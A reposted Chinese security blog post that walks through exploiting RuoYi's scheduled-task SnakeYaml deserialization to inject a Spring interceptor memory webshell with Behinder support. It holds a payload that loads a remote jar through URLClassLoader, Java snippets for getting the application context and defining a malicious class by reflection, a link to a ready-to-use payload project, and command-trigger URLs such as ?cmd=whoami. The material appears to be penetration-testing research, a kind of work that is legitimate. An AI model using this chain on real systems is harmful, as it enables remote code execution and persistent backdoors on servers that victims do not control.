1. 首页
  2. 代码审计

若依 SnakeYaml 反序列化漏洞之注入内存马分析

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

前言

前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。

如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。

漏洞分析

这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。

漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法

若依 SnakeYaml 反序列化漏洞之注入内存马分析

系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务

首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数

然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例

最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用

public static void invokeMethod(SysJob sysJob) throws Exception
    {
        String invokeTarget = sysJob.getInvokeTarget();
        String beanName = getBeanName(invokeTarget);    
        String methodName = getMethodName(invokeTarget);
        List<Object[]> methodParams = getMethodParams(invokeTarget);

        if (!isValidClassName(beanName))
        {
            Object bean = SpringUtils.getBean(beanName);
            invokeMethod(bean, methodName, methodParams);
        }
        else
        {
            Object bean = Class.forName(beanName).newInstance();
            invokeMethod(bean, methodName, methodParams);
        }
    }

跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。

若依 SnakeYaml 反序列化漏洞之注入内存马分析

当我们传入的类名为完全包名称,需要满足三个条件才能正常使用

  • 具有无参构造方法
  • 调用的方法需要是类自身声明的方法,不能是他的父类方法
  • 构造方法和调用的方法均为 public

而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞,而 SnakeYaml 反序列化漏洞具体分析和利用方法,可以参考 Mi1k7ea 师傅的文章,这里就不多赘述。

以下测试我都使用一下payload,其他利用方法改改即可

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')

第一代马儿

首先我使用把 bitterzzZZ师傅写的马儿 的逻辑放到恶意类中,在获取上下文环境时就报错了,主要是因为这里的触发点为定时任务,触发点和Web服务不在同一个线程(大概是这个意思)

若依 SnakeYaml 反序列化漏洞之注入内存马分析

知道了原因就是解决问题了,主要思路是利用别的方法获得上下文环境,第一时间想到的是LandGrey师傅 利用 intercetor 注入 spring 内存 webshell 给出的另一种获得 ApplicationContext 的方法,通过反射获得 LiveBeansView 类的属性,通过这个属性值来获取 ApplicationContext 总可以了吧(而且版本也是符合的)

// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
// 4. 获得 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

更换代码后没啥问题,能够正常注入内存马,在此基础上加上了删除马儿和冰蝎逻辑后就上传到 GitHub,以为此事就此结束

第二代马儿

过了十来天,有师傅说我的马儿在 linux 系统下运行的 RuoYi 注入不进去,具体情况如下:

  • 测试版本为 RUOYI-VUE 3.6
  • 在 Windows 可注入内存马,但是自己打包的 jar 包不行
  • 在 Linux 中无法注入内存马

看了一下RuoYi-VUE 3.6 和我测试版本 RuoYi 4.6 的 Spring Boot 和 Srping都是相同的,按理来说都一样才对

打包问题

首先要了一份他打包的 jar 包,发现 jar 包结构有点问题。前面那个是我使用 maven 打包,能够正常使用的 jar 包,是符合 SPI 机制的。而后面那个则是通过 Project Structure > Project Settsings > Aritifacts 打包的,把依赖也打包进来了,而关键的文件则没有在正确的位置。使用 maven 打包项目即可解决该问题

若依 SnakeYaml 反序列化漏洞之注入内存马分析

新的获得 ApplicationContext 方法

然后是在 linux 中无法使用的问题,通过查看报错信息可以了解到是在获得上下文环境时出现了问题

若依 SnakeYaml 反序列化漏洞之注入内存马分析

通过对比可以发现(左 linux 右 windows),在 linux 环境下 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性中确实没有我们想要的值

若依 SnakeYaml 反序列化漏洞之注入内存马分析

找一下注册逻辑(左 linux 右 windows)发现在 linux 环境下 mbeanDomain 为 null,导致他不会把我们的 ApplicationContext 放入 applicationContexts 属性中

若依 SnakeYaml 反序列化漏洞之注入内存马分析

虽然不知道啥原因导致 mbeanDomain 不同,但是估计得找一个新的方法获得 ApplicationContext

我把这个问题丢给 r2师傅 后,他找了一会后给了我个在若依能够使用的方法

Field f = Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext");
f.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);

他主要是通过 dump 内存后发现有个成色不错的类,正好符合我们的需求

若依 SnakeYaml 反序列化漏洞之注入内存马分析

在启动阶段会把 applicationContext 赋值到他的 applicationContext 属性中,且该属性被 static 修饰

若依 SnakeYaml 反序列化漏洞之注入内存马分析

后面使用 java-object-searcher,也找到了合适的获得 ApplicationContext 方法

若依 SnakeYaml 反序列化漏洞之注入内存马分析

若依 SnakeYaml 反序列化漏洞之注入内存马分析

Field field = Thread.currentThread().getClass().getDeclaredField("runnable");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("qs");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
Map m = (Map) obj;
org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext)m.get("applicationContextKey");

修改之后就能用了

加载器问题

但是在此过程中,又有一个问题

当时我在测试 linux 环境下时使用的是在 linux 下跑运行 ruoyi-admin.jar(官方给的运行方法也是运行 jar 包),发现在 payload 运行到获取上下文前就抛出异常了,查了一遍发现是在继承 HandlerInterceptorAdapter 时无法找到 HandlerInterceptorAdapter 这个类,这就有点奇怪了,在加载过程中是正常的,在继承的时候就找不到了。

若依 SnakeYaml 反序列化漏洞之注入内存马分析

后来发现是加载器问题,可参考 深入Spring Boot:ClassLoader的继承关系和影响

  1. 在IDE里,直接run main函数
    则Spring的ClassLoader直接是SystemClassLoader。ClassLoader的urls包含全部的jar和自己的target/classes

  2. 以fat jar运行

    执行应用的main函数的ClassLoader是LaunchedURLClassLoader,它的parent是SystemClassLoader

    并且LaunchedURLClassLoader的urls是 fat jar里的BOOT-INF/classes!/目录和BOOT-INF/lib里的所有jar。

看一下 HandlerInterceptor 和 HandlerInterceptorAdapter 存在于 spring-webmvc-5.2.12.RELEASE.jar ,存放于 BOOT-INF/lib 下。

当我们以fat jar运行时,使用的是 LaunchedURLClassLoader ,所以在程序运行过程中是能够找到该类的

若依 SnakeYaml 反序列化漏洞之注入内存马分析

若依 SnakeYaml 反序列化漏洞之注入内存马分析

那为什么我们的恶意类去继承 HandlerInterceptorAdapter 时找不到该类呢

这里大概看一下寻找 HandlerInterceptorAdapter 的过程

可以看到,这里使用的是 URLClassLoader 作为类加载器

若依 SnakeYaml 反序列化漏洞之注入内存马分析

根据双亲委派模型会去引导类加载器和扩展类加载器找该类,这肯定是找不到的,然后回到 AppClassLoader 来加载类,这里只有一个 ruoyi-admin.jar 包,找不到 HandlerInterceptorAdapter

最后回到 URLClassLoader,他会去我们我们的恶意 jar 包找,这也是找不到的,最后只能抛出 NoClassDefFoundError

若依 SnakeYaml 反序列化漏洞之注入内存马分析

而 LaunchedURLClassLoader 中则会去 spring-webmvc.jar 中找到我们需要的类

若依 SnakeYaml 反序列化漏洞之注入内存马分析

若依 SnakeYaml 反序列化漏洞之注入内存马分析

我们使用 LaunchedURLClassLoader 来加载这个类即可,详见 Github

ClassLoader classLoader = (ClassLoader) Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
defineClass.setAccessible(true);
// 获得恶意类字节码
byte[] bytes = XXXXXX;
return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});

以上加载器继承关系如下

若依 SnakeYaml 反序列化漏洞之注入内存马分析

总结

至此所有发现的问题已解决,这里总结一下以上比较坑的点:

  1. 反序列化点在定时任务,和以往的在 Web 服务中不同
  2. windows 和 linux 使用 idea 启动项目时有一些参数值是不一样的,在 windows 中会把 applicationContext 注册到 org.springframework.context.support.LiveBeansView 的 applicationContexts 中,而 linux 环境下则不会
  3. 以 fat jar 运行时使用的是 LaunchedURLClassLoader ,而在 Yaml 中使用 URLClassloader 来加载类,导致 Yaml 加载类过程中找不到 spring 包里的类。

项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi

此外,这里也记录一下其他比较坑的点

  1. 在实现冰蝎逻辑后,在测试的时候发现没法触发,后来发现是因为我主页测试的,如果在未登录情况下会跳转到 登陆界面,解决方法是带上cookie使用冰蝎或者直接在登陆界面触发:/login?cmd=1 (添加一个 cmd != null 是防止影响其他业务,也可自行修改)

    else if (cmd != null && request.getMethod().equals("POST")){      // for rebeyond
     // 冰蝎的逻辑
    }
  2. 在 ruoyi-vue 前后端分离版本中,在前端传参后台可能接收不到参数值,比较好的方法就是直接在后端传值

    若依 SnakeYaml 反序列化漏洞之注入内存马分析

  3. 或者从前端使用api http://localhost/dev-api/?cmd=whoami

若依 SnakeYaml 反序列化漏洞之注入内存马分析

在 ruoyi-vue 前后端分离版本中,在使用冰蝎的时候会有点问题,报错如下图。具体原因和解决方案还未清楚,知道的大佬也请指教

若依 SnakeYaml 反序列化漏洞之注入内存马分析

文章来源

转自先知社区,作者:lz2y 

原文链接:https://xz.aliyun.com/t/10651

如侵权后台请后台私聊删除文章

友情提示

本文最终解释权归本文作者所有!!!

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一切法律后果均由攻击者承担!!!

日站不规范,亲人两行泪!!!

不规范,亲人两行泪!

不规范,亲人两行泪!

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6920.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息